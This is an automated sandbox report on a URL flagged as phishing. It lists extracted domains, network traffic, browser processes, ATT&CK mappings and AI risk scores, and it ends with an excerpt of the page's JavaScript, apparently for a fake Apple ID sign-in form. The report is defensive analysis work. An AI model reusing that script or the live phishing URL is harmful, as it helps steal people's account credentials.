Source: sets.json.2.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.2.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.2.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.2.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.2.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.2.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.2.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.2.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.2.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.2.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.2.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.2.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.2.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.2.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.2.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.2.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.2.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.2.dr	String found in binary or memory: https://money.pl
Source: sets.json.2.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.2.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.2.dr	String found in binary or memory: https://nacion.com
Source: sets.json.2.dr	String found in binary or memory: https://naukri.com
Source: sets.json.2.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.2.dr	String found in binary or memory: https://nien.co
Source: sets.json.2.dr	String found in binary or memory: https://nien.com
Source: sets.json.2.dr	String found in binary or memory: https://nien.org
Source: sets.json.2.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.2.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.2.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.2.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.2.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.2.dr	String found in binary or memory: https://o2.pl
Source: sets.json.2.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.2.dr	String found in binary or memory: https://onet.pl
Source: sets.json.2.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.2.dr	String found in binary or memory: https://p106.net
Source: sets.json.2.dr	String found in binary or memory: https://p24.hu
Source: sets.json.2.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.2.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.2.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.2.dr	String found in binary or memory: https://player.pl
Source: sets.json.2.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.2.dr	String found in binary or memory: https://poalim.site
Source: sets.json.2.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.2.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.2.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.2.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.2.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.2.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.2.dr	String found in binary or memory: https://radio1.be
Source: sets.json.2.dr	String found in binary or memory: https://radio2.be
Source: sets.json.2.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.2.dr	String found in binary or memory: https://repid.org
Source: sets.json.2.dr	String found in binary or memory: https://reshim.org
Source: sets.json.2.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.2.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.2.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.2.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.2.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.2.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.2.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.2.dr	String found in binary or memory: https://samayam.com
Source: sets.json.2.dr	String found in binary or memory: https://sapo.io
Source: sets.json.2.dr	String found in binary or memory: https://sapo.pt
Source: sets.json.2.dr	String found in binary or memory: https://shock.co
Source: sets.json.2.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.2.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.2.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.2.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.2.dr	String found in binary or memory: https://songshare.com
Source: sets.json.2.dr	String found in binary or memory: https://songstats.com
Source: sets.json.2.dr	String found in binary or memory: https://sporza.be
Source: sets.json.2.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.2.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.2.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.2.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.2.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.2.dr	String found in binary or memory: https://stripe.com
Source: sets.json.2.dr	String found in binary or memory: https://stripe.network
Source: sets.json.2.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.2.dr	String found in binary or memory: https://supereva.it
Source: sets.json.2.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.2.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.2.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.2.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.2.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.2.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.2.dr	String found in binary or memory: https://text.com
Source: sets.json.2.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.2.dr	String found in binary or memory: https://the42.ie
Source: sets.json.2.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.2.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.2.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.2.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.2.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.2.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.2.dr	String found in binary or memory: https://top.pl
Source: sets.json.2.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.2.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.2.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.2.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.2.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.2.dr	String found in binary or memory: https://tvid.in
Source: sets.json.2.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.2.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.2.dr	String found in binary or memory: https://unotv.com
Source: sets.json.2.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.2.dr	String found in binary or memory: https://vrt.be
Source: sets.json.2.dr	String found in binary or memory: https://vwo.com
Source: sets.json.2.dr	String found in binary or memory: https://welt.de
Source: sets.json.2.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.2.dr	String found in binary or memory: https://wildix.com
Source: sets.json.2.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.2.dr	String found in binary or memory: https://wingify.com
Source: sets.json.2.dr	String found in binary or memory: https://wordle.at
Source: sets.json.2.dr	String found in binary or memory: https://wp.pl
Source: sets.json.2.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.2.dr	String found in binary or memory: https://www.asadcdn.com
Source: sets.json.2.dr	String found in binary or memory: https://ya.ru
Source: sets.json.2.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.2.dr	String found in binary or memory: https://zalo.me
Source: sets.json.2.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.2.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.2.dr	String found in binary or memory: https://zoom.com
Source: sets.json.2.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64363
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64362
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64361 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64363 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 64362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64360 -> 443

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50309 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_5336_1861275907

Jump to behavior

Source: classification engine

Classification label: mal52.phis.win@17/30@18/7

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2044,i,4366390378438091231,10632384262023697078,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.location.as-nt.com/aU3V88/c1.php"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2044,i,4366390378438091231,10632384262023697078,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://www.location.as-nt.com/aU3V88/c1.php	100%	Avira URL Cloud	phishing

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
www.location.as-nt.com	89.250.71.221	true	false	unknown
code.jquery.com	151.101.194.137	true	false	high
www.google.com	142.250.185.132	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.location.as-nt.com/aU3V88/c1.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://wieistmeineip.de	sets.json.2.dr	false	high
https://mercadoshops.com.co	sets.json.2.dr	false	high
https://gliadomain.com	sets.json.2.dr	false	high
https://poalim.xyz	sets.json.2.dr	false	high
https://mercadolivre.com	sets.json.2.dr	false	high
https://code.google.com/p/chromium/issues/detail?id=378607	chromecache_58.4.dr, chromecache_69.4.dr	false	high
https://reshim.org	sets.json.2.dr	false	high
https://nourishingpursuits.com	sets.json.2.dr	false	high
https://medonet.pl	sets.json.2.dr	false	high
https://unotv.com	sets.json.2.dr	false	high
https://mercadoshops.com.br	sets.json.2.dr	false	high
https://joyreactor.cc	sets.json.2.dr	false	high
https://zdrowietvn.pl	sets.json.2.dr	false	high
https://johndeere.com	sets.json.2.dr	false	high
http://dev.w3.org/csswg/cssom/#resolved-values	chromecache_58.4.dr, chromecache_69.4.dr	false	high
https://songstats.com	sets.json.2.dr	false	high
https://baomoi.com	sets.json.2.dr	false	high
https://supereva.it	sets.json.2.dr	false	high
https://elfinancierocr.com	sets.json.2.dr	false	high
https://bolasport.com	sets.json.2.dr	false	high
https://rws1nvtvt.com	sets.json.2.dr	false	high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_58.4.dr, chromecache_69.4.dr	false	high
https://desimartini.com	sets.json.2.dr	false	high
https://hearty.app	sets.json.2.dr	false	high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_58.4.dr, chromecache_69.4.dr	false	high
https://code.google.com/p/chromium/issues/detail?id=229280	chromecache_58.4.dr, chromecache_69.4.dr	false	high
https://hearty.gift	sets.json.2.dr	false	high
https://mercadoshops.com	sets.json.2.dr	false	high
https://heartymail.com	sets.json.2.dr	false	high
https://nlc.hu	sets.json.2.dr	false	high
https://p106.net	sets.json.2.dr	false	high
https://radio2.be	sets.json.2.dr	false	high
https://finn.no	sets.json.2.dr	false	high
https://hc1.com	sets.json.2.dr	false	high
https://kompas.tv	sets.json.2.dr	false	high
https://mystudentdashboard.com	sets.json.2.dr	false	high
https://songshare.com	sets.json.2.dr	false	high
https://smaker.pl	sets.json.2.dr	false	high
https://mercadopago.com.mx	sets.json.2.dr	false	high
https://p24.hu	sets.json.2.dr	false	high
https://talkdeskqaid.com	sets.json.2.dr	false	high
http://bugs.jquery.com/ticket/12359	chromecache_58.4.dr, chromecache_69.4.dr	false	high
https://24.hu	sets.json.2.dr	false	high
https://mercadopago.com.pe	sets.json.2.dr	false	high
https://cardsayings.net	sets.json.2.dr	false	high
https://text.com	sets.json.2.dr	false	high
https://bugzilla.mozilla.org/show_bug.cgi?id=649285	chromecache_58.4.dr, chromecache_69.4.dr	false	high
https://mightytext.net	sets.json.2.dr	false	high
https://pudelek.pl	sets.json.2.dr	false	high
https://hazipatika.com	sets.json.2.dr	false	high
https://joyreactor.com	sets.json.2.dr	false	high
https://cookreactor.com	sets.json.2.dr	false	high
https://wildixin.com	sets.json.2.dr	false	high
https://eworkbookcloud.com	sets.json.2.dr	false	high
https://cognitiveai.ru	sets.json.2.dr	false	high
https://nacion.com	sets.json.2.dr	false	high
https://chennien.com	sets.json.2.dr	false	high
https://drimer.travel	sets.json.2.dr	false	high
https://deccoria.pl	sets.json.2.dr	false	high
https://mercadopago.cl	sets.json.2.dr	false	high
https://talkdeskstgid.com	sets.json.2.dr	false	high
https://naukri.com	sets.json.2.dr	false	high
https://interia.pl	sets.json.2.dr	false	high
https://bonvivir.com	sets.json.2.dr	false	high
https://carcostadvisor.be	sets.json.2.dr	false	high
https://salemovetravel.com	sets.json.2.dr	false	high
https://sapo.io	sets.json.2.dr	false	high
https://wpext.pl	sets.json.2.dr	false	high
https://welt.de	sets.json.2.dr	false	high
https://poalim.site	sets.json.2.dr	false	high
https://drimer.io	sets.json.2.dr	false	high
https://infoedgeindia.com	sets.json.2.dr	false	high
https://blackrockadvisorelite.it	sets.json.2.dr	false	high
https://cognitive-ai.ru	sets.json.2.dr	false	high
https://bugzilla.mozilla.org/show_bug.cgi?id=491668	chromecache_58.4.dr, chromecache_69.4.dr	false	high
https://cafemedia.com	sets.json.2.dr	false	high
https://graziadaily.co.uk	sets.json.2.dr	false	high
https://thirdspace.org.au	sets.json.2.dr	false	high
https://mercadoshops.com.ar	sets.json.2.dr	false	high
https://smpn106jkt.sch.id	sets.json.2.dr	false	high
https://elpais.uy	sets.json.2.dr	false	high
https://landyrev.com	sets.json.2.dr	false	high
https://the42.ie	sets.json.2.dr	false	high
https://code.google.com/p/chromium/issues/detail?id=470258	chromecache_58.4.dr, chromecache_69.4.dr	false	high
https://commentcamarche.com	sets.json.2.dr	false	high
https://tucarro.com.ve	sets.json.2.dr	false	high
https://rws3nvtvt.com	sets.json.2.dr	false	high
https://eleconomista.net	sets.json.2.dr	false	high
https://helpdesk.com	sets.json.2.dr	false	high
https://mercadolivre.com.br	sets.json.2.dr	false	high
https://clmbtech.com	sets.json.2.dr	false	high
https://standardsandpraiserepurpose.com	sets.json.2.dr	false	high
https://07c225f3.online	sets.json.2.dr	false	high
https://salemovefinancial.com	sets.json.2.dr	false	high
https://mercadopago.com.br	sets.json.2.dr	false	high
https://zoom.us	sets.json.2.dr	false	high
http://jsperf.com/getall-vs-sizzle/2	chromecache_58.4.dr, chromecache_69.4.dr	false	high
https://commentcamarche.net	sets.json.2.dr	false	high
https://etfacademy.it	sets.json.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
89.250.71.221	www.location.as-nt.com	Netherlands	41349	MVMTECH-ASRU	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false

Private

IP
192.168.2.4
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589712
Start date and time:	2025-01-13 01:36:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.location.as-nt.com/aU3V88/c1.php
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.phis.win@17/30@18/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.67, 142.250.185.110, 64.233.184.84, 142.250.185.206, 20.12.23.50, 20.242.39.171, 192.229.221.95, 2.22.50.144, 2.22.50.131, 216.58.206.78, 23.215.17.144, 13.85.23.206, 172.217.18.10, 142.250.186.138, 142.250.74.202, 142.250.185.106, 142.250.186.170, 142.250.181.234, 142.250.185.170, 142.250.184.202, 172.217.16.202, 142.250.186.106, 142.250.185.202, 142.250.185.234, 142.250.186.74, 216.58.206.42, 216.58.212.170, 142.250.186.42, 142.250.186.142, 142.251.40.142, 74.125.0.74, 142.250.185.131, 34.104.35.123, 172.217.23.110, 13.107.246.45, 2.23.242.162
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, a767.dspw65.akamai.net, appleid.cdn-apple.com, clients2.google.com, redirector.gvt1.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, e2885.e9.akamaiedge.net, update.googleapis.com, wu-b-net.trafficmanager.net, appleid.cdn-apple.com.edgekey.net, glb.sls.prod.dcat.dsp.trafficmanager.net, clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, r5.sn-t0aedn7e.gvt1.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, appleid.cdn-apple.com.akadns.net, edgedl.me.gvt1.com, r5---sn-t0aedn7e.gvt1.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.location.as-nt.com/aU3V88/c1.php

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Input	Output
URL: https://www.location.as-nt.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://www.location.as-nt.com
URL: https://www.location.as-nt.com/aU3V88/jss/myscript... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet exhibits a mix of behaviors, some of which raise moderate concerns. While there are no clear indicators of malicious intent, the script demonstrates aggressive DOM manipulation and potential data exfiltration. Further review is recommended to ensure the script's legitimacy and identify any potential security risks." }
document.oncontextmenu = function(){return false;} $(document).ready(function(){ $("#btn_ip").css("top","5px"); $("#cont_btn_apple").addClass("ap_bor"); $("#cont_btn_apple").addClass("bor"); $("#cont_pwd").addClass('no_visibless'); $("#btn_ip").append('<img id="bt_flec2" class="icon icon_sign_in" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAABgklEQVR42r3WsU7CUBSA4QtGQVIHYayjEgYTdpd2EV4BnXkGnWHRAY1jCZsJYtzcSU0kGt7ASSkLTD4ALvgPh4Q00GtL6/B1uSfnpO0991x1fGLrFHGBPiaYiQn6slbU5QlatPCKMa5QwQEyMFBCVda+JNYKUygLBx7OsAWlkZZYDw6yukJ5vOMZe1AhGXiQHPl1hXIY4g5pqIhSuJVcuVWFOniUQLWhlOTq+AtZ8GBAxcSAB2u50ADnIRPVsa+JqWGwKFSGF+G/dPGBQ81u9FBWPBq4hopQaI7voP6R3A3Fw0U1aiHxg/qauFO8KDlKTCifJp4CjDH3aa1ocBMTJedWBspngHkE9748O5j9W6G4P91N0KdzUUl6M8S1vW3N9m4uGna0QcMeaRp2hPLyj68lewQlf6ja/jHRRi/GMdFDO+nB11o7+EQBww1HeVdyFHSXk1048FD749ulJdaDg1zY69ab77plYluYqMjap8TaQdctnRIu4WKKHzGFK2slXZ5f2RlINtkg1cIAAAAASUVORK5CYII=">'); $("#sign-in").on("click",function(){ $("#carga_envio").css("display", "block"); $("#bt_flec").css("display", "none"); submitt(); }) $('#appleId').keyup(function(e) { if(e.keyCode == 13) { $("#btn_ip").addClass("disabled"); $("#btn_ip").click(); $("#btn_ip").removeAttr("onclick"); // act_flecha(); } }); }) function opc_felcha(){ $(".signin-error").addClass("ocult"); if($("#appleId").val().length > 0){ $("#btn_ip").css("opacity", "1"); $("#btn_ip").removeClass("disabled"); }else{ $("#btn_ip").css("opacity", "0.3"); $("#btn_ip").addClass("disabled"); } var opt = $("#vl").val(); if(opt == 1){ if($("#cant_input").val() != $("#appleId").val().length){ $("#vl").val(0); $("#cont_pwd").slideToggle(500,function(){ $("#cont_btn_apple").addClass("ap_bor"); }); 